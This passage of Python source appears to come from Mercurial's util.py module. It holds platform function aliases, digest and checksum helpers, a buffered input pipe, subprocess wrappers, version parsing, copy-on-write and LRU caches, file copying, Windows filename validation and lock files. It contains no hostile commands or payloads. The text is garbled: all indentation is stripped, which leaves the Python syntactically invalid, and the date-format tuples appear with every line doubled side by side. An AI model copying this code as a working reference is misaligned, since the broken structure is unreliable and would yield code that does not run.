httplib = pycompat.httplib
pickle = pycompat.pickle
queue = pycompat.queue
socketserver = pycompat.socketserver
stderr = pycompat.stderr
stdin = pycompat.stdin
stdout = pycompat.stdout
stringio = pycompat.stringio
xmlrpclib = pycompat.xmlrpclib
httpserver = urllibcompat.httpserver
urlerr = urllibcompat.urlerr
urlreq = urllibcompat.urlreq
# workaround for win32mbcs
_filenamebytestr = pycompat.bytestr
def isatty(fp):
try:
return fp.isatty()
except AttributeError:
return False
# glibc determines buffering on first write to stdout - if we replace a TTY
# destined stdout with a pipe destined stdout (e.g. pager), we want line
# buffering
if isatty(stdout):
stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
if pycompat.iswindows:
from . import windows as platform
stdout = platform.winstdout(stdout)
else:
from . import posix as platform
_ = i18n._
bindunixsocket = platform.bindunixsocket
cachestat = platform.cachestat
checkexec = platform.checkexec
checklink = platform.checklink
copymode = platform.copymode
executablepath = platform.executablepath
expandglobs = platform.expandglobs
explainexit = platform.explainexit
findexe = platform.findexe
getfsmountpoint = platform.getfsmountpoint
getfstype = platform.getfstype
gethgcmd = platform.gethgcmd
getuser = platform.getuser
getpid = os.getpid
groupmembers = platform.groupmembers
groupname = platform.groupname
hidewindow = platform.hidewindow
isexec = platform.isexec
isowner = platform.isowner
listdir = osutil.listdir
localpath = platform.localpath
lookupreg = platform.lookupreg
makedir = platform.makedir
nlinks = platform.nlinks
normpath = platform.normpath
normcase = platform.normcase
normcasespec = platform.normcasespec
normcasefallback = platform.normcasefallback
openhardlinks = platform.openhardlinks
oslink = platform.oslink
parsepatchoutput = platform.parsepatchoutput
pconvert = platform.pconvert
poll = platform.poll
popen = platform.popen
posixfile = platform.posixfile
quotecommand = platform.quotecommand
readpipe = platform.readpipe
rename = platform.rename
removedirs = platform.removedirs
samedevice = platform.samedevice
samefile = platform.samefile
samestat = platform.samestat
setbinary = platform.setbinary
setflags = platform.setflags
setsignalhandler = platform.setsignalhandler
shellquote = platform.shellquote
spawndetached = platform.spawndetached
split = platform.split
sshargs = platform.sshargs
statfiles = getattr(osutil, 'statfiles', platform.statfiles)
statisexec = platform.statisexec
statislink = platform.statislink
testpid = platform.testpid
umask = platform.umask
unlink = platform.unlink
username = platform.username
try:
recvfds = osutil.recvfds
except AttributeError:
pass
try:
setprocname = osutil.setprocname
except AttributeError:
pass
try:
unblocksignal = osutil.unblocksignal
except AttributeError:
pass
# Python compatibility
_notset = object()
# disable Python's problematic floating point timestamps (issue4836)
# (Python hypocritically says you shouldn't change this behavior in
# libraries, and sure enough Mercurial is not a library.)
os.stat_float_times(False)
def safehasattr(thing, attr):
return getattr(thing, attr, _notset) is not _notset
def bytesinput(fin, fout, *args, **kwargs):
sin, sout = sys.stdin, sys.stdout
try:
sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
finally:
sys.stdin, sys.stdout = sin, sout
def bitsfrom(container):
bits = 0
for bit in container:
bits |= bit
return bits
# python 2.6 still have deprecation warning enabled by default. We do not want
# to display anything to standard user so detect if we are running test and
# only use python deprecation warning in this case.
_dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
if _dowarn:
# explicitly unfilter our warning for python 2.7
#
# The option of setting PYTHONWARNINGS in the test runner was investigated.
# However, module name set through PYTHONWARNINGS was exactly matched, so
# we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
# makes the whole PYTHONWARNINGS thing useless for our usecase.
warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
def nouideprecwarn(msg, version, stacklevel=1):
"""Issue an python native deprecation warning
This is a noop outside of tests, use 'ui.deprecwarn' when possible.
"""
if _dowarn:
msg += ("\n(compatibility will be dropped after Mercurial-%s,"
" update your code.)") % version
warnings.warn(msg, DeprecationWarning, stacklevel + 1)
DIGESTS = {
'md5': hashlib.md5,
'sha1': hashlib.sha1,
'sha512': hashlib.sha512,
}
# List of digest types from strongest to weakest
DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
for k in DIGESTS_BY_STRENGTH:
assert k in DIGESTS
class digester(object):
"""helper to compute digests.
This helper can be used to compute one or more digests given their name.
>>> d = digester([b'md5', b'sha1'])
>>> d.update(b'foo')
>>> [k for k in sorted(d)]
['md5', 'sha1']
>>> d[b'md5']
'acbd18db4cc2f85cedef654fccc4a4d8'
>>> d[b'sha1']
'0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
>>> digester.preferred([b'md5', b'sha1'])
'sha1'
"""
def __init__(self, digests, s=''):
self._hashes = {}
for k in digests:
if k not in DIGESTS:
raise Abort(_('unknown digest type: %s') % k)
self._hashes[k] = DIGESTS[k]()
if s:
self.update(s)
def update(self, data):
for h in self._hashes.values():
h.update(data)
def __getitem__(self, key):
if key not in DIGESTS:
raise Abort(_('unknown digest type: %s') % k)
return nodemod.hex(self._hashes[key].digest())
def __iter__(self):
return iter(self._hashes)
@staticmethod
def preferred(supported):
"""returns the strongest digest type in both supported and DIGESTS."""
for k in DIGESTS_BY_STRENGTH:
if k in supported:
return k
return None
class digestchecker(object):
"""file handle wrapper that additionally checks content against a given
size and digests.
d = digestchecker(fh, size, {'md5': '...'})
When multiple digests are given, all of them are validated.
"""
def __init__(self, fh, size, digests):
self._fh = fh
self._size = size
self._got = 0
self._digests = dict(digests)
self._digester = digester(self._digests.keys())
def read(self, length=-1):
content = self._fh.read(length)
self._digester.update(content)
self._got += len(content)
return content
def validate(self):
if self._size != self._got:
raise Abort(_('size mismatch: expected %d, got %d') %
(self._size, self._got))
for k, v in self._digests.items():
if v != self._digester[k]:
# i18n: first parameter is a digest name
raise Abort(_('%s mismatch: expected %s, got %s') %
(k, v, self._digester[k]))
try:
buffer = buffer
except NameError:
def buffer(sliceable, offset=0, length=None):
if length is not None:
return memoryview(sliceable)[offset:offset + length]
return memoryview(sliceable)[offset:]
closefds = pycompat.isposix
_chunksize = 4096
class bufferedinputpipe(object):
"""a manually buffered input pipe
Python will not let us use buffered IO and lazy reading with 'polling' at
the same time. We cannot probe the buffer state and select will not detect
that data are ready to read if they are already buffered.
This class let us work around that by implementing its own buffering
(allowing efficient readline) while offering a way to know if the buffer is
empty from the output (allowing collaboration of the buffer with polling).
This class lives in the 'util' module because it makes use of the 'os'
module from the python stdlib.
"""
def __init__(self, input):
self._input = input
self._buffer = []
self._eof = False
self._lenbuf = 0
@property
def hasbuffer(self):
"""True is any data is currently buffered
This will be used externally a pre-step for polling IO. If there is
already data then no polling should be set in place."""
return bool(self._buffer)
@property
def closed(self):
return self._input.closed
def fileno(self):
return self._input.fileno()
def close(self):
return self._input.close()
def read(self, size):
while (not self._eof) and (self._lenbuf < size):
self._fillbuffer()
return self._frombuffer(size)
def readline(self, *args, **kwargs):
if 1 < len(self._buffer):
# this should not happen because both read and readline end with a
# _frombuffer call that collapse it.
self._buffer = [''.join(self._buffer)]
self._lenbuf = len(self._buffer[0])
lfi = -1
if self._buffer:
lfi = self._buffer[-1].find('\n')
while (not self._eof) and lfi < 0:
self._fillbuffer()
if self._buffer:
lfi = self._buffer[-1].find('\n')
size = lfi + 1
if lfi < 0: # end of file
size = self._lenbuf
elif 1 < len(self._buffer):
# we need to take previous chunks into account
size += self._lenbuf - len(self._buffer[-1])
return self._frombuffer(size)
def _frombuffer(self, size):
"""return at most 'size' data from the buffer
The data are removed from the buffer."""
if size == 0 or not self._buffer:
return ''
buf = self._buffer[0]
if 1 < len(self._buffer):
buf = ''.join(self._buffer)
data = buf[:size]
buf = buf[len(data):]
if buf:
self._buffer = [buf]
self._lenbuf = len(buf)
else:
self._buffer = []
self._lenbuf = 0
return data
def _fillbuffer(self):
"""read data to the buffer"""
data = os.read(self._input.fileno(), _chunksize)
if not data:
self._eof = True
else:
self._lenbuf += len(data)
self._buffer.append(data)
def mmapread(fp):
try:
fd = getattr(fp, 'fileno', lambda: fp)()
return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
except ValueError:
# Empty files cannot be mmapped, but mmapread should still work. Check
# if the file is empty, and if so, return an empty buffer.
if os.fstat(fd).st_size == 0:
return ''
raise
def popen2(cmd, env=None, newlines=False):
# Setting bufsize to -1 lets the system decide the buffer size.
# The default for bufsize is 0, meaning unbuffered. This leads to
# poor performance on Mac OS X: http://bugs.python.org/issue4194
p = subprocess.Popen(cmd, shell=True, bufsize=-1,
close_fds=closefds,
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
universal_newlines=newlines,
env=env)
return p.stdin, p.stdout
def popen3(cmd, env=None, newlines=False):
stdin, stdout, stderr, p = popen4(cmd, env, newlines)
return stdin, stdout, stderr
def popen4(cmd, env=None, newlines=False, bufsize=-1):
p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
close_fds=closefds,
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=newlines,
env=env)
return p.stdin, p.stdout, p.stderr, p
def version():
"""Return version information if available."""
try:
from . import __version__
return __version__.version
except ImportError:
return 'unknown'
def versiontuple(v=None, n=4):
"""Parses a Mercurial version string into an N-tuple.
The version string to be parsed is specified with the ``v`` argument.
If it isn't defined, the current Mercurial version string will be parsed.
``n`` can be 2, 3, or 4. Here is how some version strings map to
returned values:
>>> v = b'3.6.1+190-df9b73d2d444'
>>> versiontuple(v, 2)
(3, 6)
>>> versiontuple(v, 3)
(3, 6, 1)
>>> versiontuple(v, 4)
(3, 6, 1, '190-df9b73d2d444')
>>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
(3, 6, 1, '190-df9b73d2d444+20151118')
>>> v = b'3.6'
>>> versiontuple(v, 2)
(3, 6)
>>> versiontuple(v, 3)
(3, 6, None)
>>> versiontuple(v, 4)
(3, 6, None, None)
>>> v = b'3.9-rc'
>>> versiontuple(v, 2)
(3, 9)
>>> versiontuple(v, 3)
(3, 9, None)
>>> versiontuple(v, 4)
(3, 9, None, 'rc')
>>> v = b'3.9-rc+2-02a8fea4289b'
>>> versiontuple(v, 2)
(3, 9)
>>> versiontuple(v, 3)
(3, 9, None)
>>> versiontuple(v, 4)
(3, 9, None, 'rc+2-02a8fea4289b')
"""
if not v:
v = version()
parts = remod.split('[\+-]', v, 1)
if len(parts) == 1:
vparts, extra = parts[0], None
else:
vparts, extra = parts
vints = []
for i in vparts.split('.'):
try:
vints.append(int(i))
except ValueError:
break
# (3, 6) -> (3, 6, None)
while len(vints) < 3:
vints.append(None)
if n == 2:
return (vints[0], vints[1])
if n == 3:
return (vints[0], vints[1], vints[2])
if n == 4:
return (vints[0], vints[1], vints[2], extra)
# used by parsedate # used by parsedate
defaultdateformats = ( defaultdateformats = (
'%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
'%Y-%m-%dT%H:%M', # without seconds '%Y-%m-%dT%H:%M', # without seconds
'%Y-%m-%dT%H%M%S', # another awful but legal variant without : '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
'%Y-%m-%dT%H%M', # without seconds '%Y-%m-%dT%H%M', # without seconds
'%Y-%m-%d %H:%M:%S', # our common legal variant '%Y-%m-%d %H:%M:%S', # our common legal variant
'%Y-%m-%d %H:%M', # without seconds '%Y-%m-%d %H:%M', # without seconds
'%I:%M%p', '%I:%M%p',
) )
extendeddateformats = defaultdateformats + ( extendeddateformats = defaultdateformats + (
"%Y", "%Y",
"%Y-%m", "%Y-%m",
"%b", "%b",
"%b %Y", "%b %Y",
) )
def cachefunc(func):
'''cache the result of function calls'''
# XXX doesn't handle keywords args
if func.__code__.co_argcount == 0:
cache = []
def f():
if len(cache) == 0:
cache.append(func())
return cache[0]
return f
cache = {}
if func.__code__.co_argcount == 1:
# we gain a small amount of time because
# we don't need to pack/unpack the list
def f(arg):
if arg not in cache:
cache[arg] = func(arg)
return cache[arg]
else:
def f(*args):
if args not in cache:
cache[args] = func(*args)
return cache[args]
return f
class cow(object):
"""helper class to make copy-on-write easier
Call preparewrite before doing any writes.
"""
def preparewrite(self):
"""call this before writes, return self or a copied new object"""
if getattr(self, '_copied', 0):
self._copied -= 1
return self.__class__(self)
return self
def copy(self):
"""always do a cheap copy"""
self._copied = getattr(self, '_copied', 0) + 1
return self
class sortdict(collections.OrderedDict):
'''a simple sorted dictionary
>>> d1 = sortdict([(b'a', 0), (b'b', 1)])
>>> d2 = d1.copy()
>>> d2
sortdict([('a', 0), ('b', 1)])
>>> d2.update([(b'a', 2)])
>>> list(d2.keys()) # should still be in last-set order
['b', 'a']
'''
def __setitem__(self, key, value):
if key in self:
del self[key]
super(sortdict, self).__setitem__(key, value)
if pycompat.ispypy:
# __setitem__() isn't called as of PyPy 5.8.0
def update(self, src):
if isinstance(src, dict):
src = src.iteritems()
for k, v in src:
self[k] = v
class cowdict(cow, dict):
"""copy-on-write dict
Be sure to call d = d.preparewrite() before writing to d.
>>> a = cowdict()
>>> a is a.preparewrite()
True
>>> b = a.copy()
>>> b is a
True
>>> c = b.copy()
>>> c is a
True
>>> a = a.preparewrite()
>>> b is a
False
>>> a is a.preparewrite()
True
>>> c = c.preparewrite()
>>> b is c
False
>>> b is b.preparewrite()
True
"""
class cowsortdict(cow, sortdict):
"""copy-on-write sortdict
Be sure to call d = d.preparewrite() before writing to d.
"""
class transactional(object):
"""Base class for making a transactional type into a context manager."""
__metaclass__ = abc.ABCMeta
@abc.abstractmethod
def close(self):
"""Successfully closes the transaction."""
@abc.abstractmethod
def release(self):
"""Marks the end of the transaction.
If the transaction has not been closed, it will be aborted.
"""
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
try:
if exc_type is None:
self.close()
finally:
self.release()
@contextlib.contextmanager
def acceptintervention(tr=None):
"""A context manager that closes the transaction on InterventionRequired
If no transaction was provided, this simply runs the body and returns
"""
if not tr:
yield
return
try:
yield
tr.close()
except error.InterventionRequired:
tr.close()
raise
finally:
tr.release()
@contextlib.contextmanager
def nullcontextmanager():
yield
class _lrucachenode(object):
"""A node in a doubly linked list.
Holds a reference to nodes on either side as well as a key-value
pair for the dictionary entry.
"""
__slots__ = (u'next', u'prev', u'key', u'value')
def __init__(self):
self.next = None
self.prev = None
self.key = _notset
self.value = None
def markempty(self):
"""Mark the node as emptied."""
self.key = _notset
class lrucachedict(object):
"""Dict that caches most recent accesses and sets.
The dict consists of an actual backing dict - indexed by original
key - and a doubly linked circular list defining the order of entries in
the cache.
The head node is the newest entry in the cache. If the cache is full,
we recycle head.prev and make it the new head. Cache accesses result in
the node being moved to before the existing head and being marked as the
new head node.
"""
def __init__(self, max):
self._cache = {}
self._head = head = _lrucachenode()
head.prev = head
head.next = head
self._size = 1
self._capacity = max
def __len__(self):
return len(self._cache)
def __contains__(self, k):
return k in self._cache
def __iter__(self):
# We don't have to iterate in cache order, but why not.
n = self._head
for i in range(len(self._cache)):
yield n.key
n = n.next
def __getitem__(self, k):
node = self._cache[k]
self._movetohead(node)
return node.value
def __setitem__(self, k, v):
node = self._cache.get(k)
# Replace existing value and mark as newest.
if node is not None:
node.value = v
self._movetohead(node)
return
if self._size < self._capacity:
node = self._addcapacity()
else:
# Grab the last/oldest item.
node = self._head.prev
# At capacity. Kill the old entry.
if node.key is not _notset:
del self._cache[node.key]
node.key = k
node.value = v
self._cache[k] = node
# And mark it as newest entry. No need to adjust order since it
# is already self._head.prev.
self._head = node
def __delitem__(self, k):
node = self._cache.pop(k)
node.markempty()
# Temporarily mark as newest item before re-adjusting head to make
# this node the oldest item.
self._movetohead(node)
self._head = node.next
# Additional dict methods.
def get(self, k, default=None):
try:
return self._cache[k].value
except KeyError:
return default
def clear(self):
n = self._head
while n.key is not _notset:
n.markempty()
n = n.next
self._cache.clear()
def copy(self):
result = lrucachedict(self._capacity)
n = self._head.prev
# Iterate in oldest-to-newest order, so the copy has the right ordering
for i in range(len(self._cache)):
result[n.key] = n.value
n = n.prev
return result
def _movetohead(self, node):
"""Mark a node as the newest, making it the new head.
When a node is accessed, it becomes the freshest entry in the LRU
list, which is denoted by self._head.
Visually, let's make ``N`` the new head node (* denotes head):
previous/oldest <-> head <-> next/next newest
----<->--- A* ---<->-----
| |
E <-> D <-> N <-> C <-> B
To:
----<->--- N* ---<->-----
| |
E <-> D <-> C <-> B <-> A
This requires the following moves:
C.next = D (node.prev.next = node.next)
D.prev = C (node.next.prev = node.prev)
E.next = N (head.prev.next = node)
N.prev = E (node.prev = head.prev)
N.next = A (node.next = head)
A.prev = N (head.prev = node)
"""
head = self._head
# C.next = D
node.prev.next = node.next
# D.prev = C
node.next.prev = node.prev
# N.prev = E
node.prev = head.prev
# N.next = A
# It is tempting to do just "head" here, however if node is
# adjacent to head, this will do bad things.
node.next = head.prev.next
# E.next = N
node.next.prev = node
# A.prev = N
node.prev.next = node
self._head = node
def _addcapacity(self):
"""Add a node to the circular linked list.
The new node is inserted before the head node.
"""
head = self._head
node = _lrucachenode()
head.prev.next = node
node.prev = head.prev
node.next = head
head.prev = node
self._size += 1
return node
def lrucachefunc(func):
'''cache most recent results of function calls'''
cache = {}
order = collections.deque()
if func.__code__.co_argcount == 1:
def f(arg):
if arg not in cache:
if len(cache) > 20:
del cache[order.popleft()]
cache[arg] = func(arg)
else:
order.remove(arg)
order.append(arg)
return cache[arg]
else:
def f(*args):
if args not in cache:
if len(cache) > 20:
del cache[order.popleft()]
cache[args] = func(*args)
else:
order.remove(args)
order.append(args)
return cache[args]
return f
class propertycache(object):
def __init__(self, func):
self.func = func
self.name = func.__name__
def __get__(self, obj, type=None):
result = self.func(obj)
self.cachevalue(obj, result)
return result
def cachevalue(self, obj, value):
# __dict__ assignment required to bypass __setattr__ (eg: repoview)
obj.__dict__[self.name] = value
def clearcachedproperty(obj, prop):
'''clear a cached property value, if one has been set'''
if prop in obj.__dict__:
del obj.__dict__[prop]
def pipefilter(s, cmd):
'''filter string S through command CMD, returning its output'''
p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
pout, perr = p.communicate(s)
return pout
def tempfilter(s, cmd):
'''filter string S through a pair of temporary files with CMD.
CMD is used as a template to create the real command to be run,
with the strings INFILE and OUTFILE replaced by the real names of
the temporary files generated.'''
inname, outname = None, None
try:
infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
fp = os.fdopen(infd, pycompat.sysstr('wb'))
fp.write(s)
fp.close()
outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
os.close(outfd)
cmd = cmd.replace('INFILE', inname)
cmd = cmd.replace('OUTFILE', outname)
code = os.system(cmd)
if pycompat.sysplatform == 'OpenVMS' and code & 1:
code = 0
if code:
raise Abort(_("command '%s' failed: %s") %
(cmd, explainexit(code)))
return readfile(outname)
finally:
try:
if inname:
os.unlink(inname)
except OSError:
pass
try:
if outname:
os.unlink(outname)
except OSError:
pass
filtertable = {
'tempfile:': tempfilter,
'pipe:': pipefilter,
}
def filter(s, cmd):
"filter a string through a command that transforms its input to its output"
for name, fn in filtertable.iteritems():
if cmd.startswith(name):
return fn(s, cmd[len(name):].lstrip())
return pipefilter(s, cmd)
def binary(s):
"""return true if a string is binary data"""
return bool(s and '\0' in s)
def increasingchunks(source, min=1024, max=65536):
'''return no less than min bytes per chunk while data remains,
doubling min after each chunk until it reaches max'''
def log2(x):
if not x:
return 0
i = 0
while x:
x >>= 1
i += 1
return i - 1
buf = []
blen = 0
for chunk in source:
buf.append(chunk)
blen += len(chunk)
if blen >= min:
if min < max:
min = min << 1
nmin = 1 << log2(blen)
if nmin > min:
min = nmin
if min > max:
min = max
yield ''.join(buf)
blen = 0
buf = []
if buf:
yield ''.join(buf)
Abort = error.Abort
def always(fn):
return True
def never(fn):
return False
def nogc(func):
"""disable garbage collector
Python's garbage collector triggers a GC each time a certain number of
container objects (the number being defined by gc.get_threshold()) are
allocated even when marked not to be tracked by the collector. Tracking has
no effect on when GCs are triggered, only on what objects the GC looks
into. As a workaround, disable GC while building complex (huge)
containers.
This garbage collector issue have been fixed in 2.7. But it still affect
CPython's performance.
"""
def wrapper(*args, **kwargs):
gcenabled = gc.isenabled()
gc.disable()
try:
return func(*args, **kwargs)
finally:
if gcenabled:
gc.enable()
return wrapper
if pycompat.ispypy:
# PyPy runs slower with gc disabled
nogc = lambda x: x
def pathto(root, n1, n2):
'''return the relative path from one place to another.
root should use os.sep to separate directories
n1 should use os.sep to separate directories
n2 should use "/" to separate directories
returns an os.sep-separated path.
If n1 is a relative path, it's assumed it's
relative to root.
n2 should always be relative to root.
'''
if not n1:
return localpath(n2)
if os.path.isabs(n1):
if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
return os.path.join(root, localpath(n2))
n2 = '/'.join((pconvert(root), n2))
a, b = splitpath(n1), n2.split('/')
a.reverse()
b.reverse()
while a and b and a[-1] == b[-1]:
a.pop()
b.pop()
b.reverse()
return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
def mainfrozen():
"""return True if we are a frozen executable.
The code supports py2exe (most common, Windows only) and tools/freeze
(portable, not much used).
"""
return (safehasattr(sys, "frozen") or # new py2exe
safehasattr(sys, "importers") or # old py2exe
imp.is_frozen(u"__main__")) # tools/freeze
# the location of data files matching the source code
if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
# executable version (py2exe) doesn't support __file__
datapath = os.path.dirname(pycompat.sysexecutable)
else:
datapath = os.path.dirname(pycompat.fsencode(__file__))
i18n.setdatapath(datapath)
_hgexecutable = None
def hgexecutable():
"""return location of the 'hg' executable.
Defaults to $HG or 'hg' in the search path.
"""
if _hgexecutable is None:
hg = encoding.environ.get('HG')
mainmod = sys.modules[pycompat.sysstr('__main__')]
if hg:
_sethgexecutable(hg)
elif mainfrozen():
if getattr(sys, 'frozen', None) == 'macosx_app':
# Env variable set by py2app
_sethgexecutable(encoding.environ['EXECUTABLEPATH'])
else:
_sethgexecutable(pycompat.sysexecutable)
elif (os.path.basename(
pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
_sethgexecutable(pycompat.fsencode(mainmod.__file__))
else:
exe = findexe('hg') or os.path.basename(sys.argv[0])
_sethgexecutable(exe)
return _hgexecutable
def _sethgexecutable(path):
"""set location of the 'hg' executable"""
global _hgexecutable
_hgexecutable = path
def _isstdout(f):
fileno = getattr(f, 'fileno', None)
return fileno and fileno() == sys.__stdout__.fileno()
def shellenviron(environ=None):
"""return environ with optional override, useful for shelling out"""
def py2shell(val):
'convert python object into string that is useful to shell'
if val is None or val is False:
return '0'
if val is True:
return '1'
return str(val)
env = dict(encoding.environ)
if environ:
env.update((k, py2shell(v)) for k, v in environ.iteritems())
env['HG'] = hgexecutable()
return env
def system(cmd, environ=None, cwd=None, out=None):
'''enhanced shell command execution.
run with environment maybe modified, maybe in different dir.
if out is specified, it is assumed to be a file-like object that has a
write() method. stdout and stderr will be redirected to out.'''
try:
stdout.flush()
except Exception:
pass
cmd = quotecommand(cmd)
env = shellenviron(environ)
if out is None or _isstdout(out):
rc = subprocess.call(cmd, shell=True, close_fds=closefds,
env=env, cwd=cwd)
else:
proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
env=env, cwd=cwd, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
for line in iter(proc.stdout.readline, ''):
out.write(line)
proc.wait()
rc = proc.returncode
if pycompat.sysplatform == 'OpenVMS' and rc & 1:
rc = 0
return rc
def checksignature(func):
'''wrap a function with code to check for calling errors'''
def check(*args, **kwargs):
try:
return func(*args, **kwargs)
except TypeError:
if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
raise error.SignatureError
raise
return check
# a whilelist of known filesystems where hardlink works reliably
_hardlinkfswhitelist = {
'btrfs',
'ext2',
'ext3',
'ext4',
'hfs',
'jfs',
'NTFS',
'reiserfs',
'tmpfs',
'ufs',
'xfs',
'zfs',
}
def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
'''copy a file, preserving mode and optionally other stat info like
atime/mtime
checkambig argument is used with filestat, and is useful only if
destination file is guarded by any lock (e.g. repo.lock or
repo.wlock).
copystat and checkambig should be exclusive.
'''
assert not (copystat and checkambig)
oldstat = None
if os.path.lexists(dest):
if checkambig:
oldstat = checkambig and filestat.frompath(dest)
unlink(dest)
if hardlink:
# Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
# unless we are confident that dest is on a whitelisted filesystem.
try:
fstype = getfstype(os.path.dirname(dest))
except OSError:
fstype = None
if fstype not in _hardlinkfswhitelist:
hardlink = False
if hardlink:
try:
oslink(src, dest)
return
except (IOError, OSError):
pass # fall back to normal copy
if os.path.islink(src):
os.symlink(os.readlink(src), dest)
# copytime is ignored for symlinks, but in general copytime isn't needed
# for them anyway
else:
try:
shutil.copyfile(src, dest)
if copystat:
# copystat also copies mode
shutil.copystat(src, dest)
else:
shutil.copymode(src, dest)
if oldstat and oldstat.stat:
newstat = filestat.frompath(dest)
if newstat.isambig(oldstat):
# stat of copied file is ambiguous to original one
advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
os.utime(dest, (advanced, advanced))
except shutil.Error as inst:
raise Abort(str(inst))
def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
"""Copy a directory tree using hardlinks if possible."""
num = 0
gettopic = lambda: hardlink and _('linking') or _('copying')
if os.path.isdir(src):
if hardlink is None:
hardlink = (os.stat(src).st_dev ==
os.stat(os.path.dirname(dst)).st_dev)
topic = gettopic()
os.mkdir(dst)
for name, kind in listdir(src):
srcname = os.path.join(src, name)
dstname = os.path.join(dst, name)
def nprog(t, pos):
if pos is not None:
return progress(t, pos + num)
hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
num += n
else:
if hardlink is None:
hardlink = (os.stat(os.path.dirname(src)).st_dev ==
os.stat(os.path.dirname(dst)).st_dev)
topic = gettopic()
if hardlink:
try:
oslink(src, dst)
except (IOError, OSError):
hardlink = False
shutil.copy(src, dst)
else:
shutil.copy(src, dst)
num += 1
progress(topic, num)
progress(topic, None)
return hardlink, num
_winreservednames = {
'con', 'prn', 'aux', 'nul',
'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
}
_winreservedchars = ':*?"<>|'
def checkwinfilename(path):
r'''Check that the base-relative path is a valid filename on Windows.
Returns None if the path is ok, or a UI string describing the problem.
>>> checkwinfilename(b"just/a/normal/path")
>>> checkwinfilename(b"foo/bar/con.xml")
"filename contains 'con', which is reserved on Windows"
>>> checkwinfilename(b"foo/con.xml/bar")
"filename contains 'con', which is reserved on Windows"
>>> checkwinfilename(b"foo/bar/xml.con")
>>> checkwinfilename(b"foo/bar/AUX/bla.txt")
"filename contains 'AUX', which is reserved on Windows"
>>> checkwinfilename(b"foo/bar/bla:.txt")
"filename contains ':', which is reserved on Windows"
>>> checkwinfilename(b"foo/bar/b\07la.txt")
"filename contains '\\x07', which is invalid on Windows"
>>> checkwinfilename(b"foo/bar/bla ")
"filename ends with ' ', which is not allowed on Windows"
>>> checkwinfilename(b"../bar")
>>> checkwinfilename(b"foo\\")
"filename ends with '\\', which is invalid on Windows"
>>> checkwinfilename(b"foo\\/bar")
"directory name ends with '\\', which is invalid on Windows"
'''
if path.endswith('\\'):
return _("filename ends with '\\', which is invalid on Windows")
if '\\/' in path:
return _("directory name ends with '\\', which is invalid on Windows")
for n in path.replace('\\', '/').split('/'):
if not n:
continue
for c in _filenamebytestr(n):
if c in _winreservedchars:
return _("filename contains '%s', which is reserved "
"on Windows") % c
if ord(c) <= 31:
return _("filename contains '%s', which is invalid "
"on Windows") % escapestr(c)
base = n.split('.')[0]
if base and base.lower() in _winreservednames:
return _("filename contains '%s', which is reserved "
"on Windows") % base
t = n[-1:]
if t in '. ' and n not in '..':
return _("filename ends with '%s', which is not allowed "
"on Windows") % t
if pycompat.iswindows:
checkosfilename = checkwinfilename
timer = time.clock
else:
checkosfilename = platform.checkosfilename
timer = time.time
if safehasattr(time, "perf_counter"):
timer = time.perf_counter
def makelock(info, pathname):
try:
return os.symlink(info, pathname)
except OSError as why:
if why.errno == errno.EEXIST:
raise
except AttributeError: # no symlink in os
pass
ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
os.write(ld, info)
os.close(ld)
def readlock(pathname):
try:
return os.readlink(pathname)
except OSError as why:
if why.errno not in (errno.EINVAL, errno.ENOSYS):
raise
except AttributeError: # no symlink in os
pass
fp = posixfile(pathname)
r = fp.read()
fp.close()
return r
def fstat(fp):
'''stat file object that may not have fileno method.'''
try:
return os.fstat(fp.fileno())
except AttributeError:
return os.stat(fp.name)
# File system features
def fscasesensitive(path):
"""
Return true if the given path is on a case-sensitive filesystem
Requires a path (like /foo/.hg) ending with a foldable final
directory component.
"""
s1 = os.lstat(path)
d, b = os.path.split(path)
b2 = b.upper()
if b == b2:
b2 = b.lower()
if b == b2:
return True # no evidence against case sensitivity
p2 = os.path.join(d, b2)
try:
s2 = os.lstat(p2)
if s2 == s1:
return False
return True
except OSError:
return True
try:
import re2
_re2 = None
except ImportError:
_re2 = False
class _re(object):
def _checkre2(self):
global _re2
try:
# check if match works, see issue3964
_re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
except ImportError:
_re2 = False
def compile(self, pat, flags=0):
'''Compile a regular expression, using re2 if possible
For best performance, use only re2-compatible regexp features. The
only flags from the re module that are re2-compatible are
IGNORECASE and MULTILINE.'''
if _re2 is None:
self._checkre2()
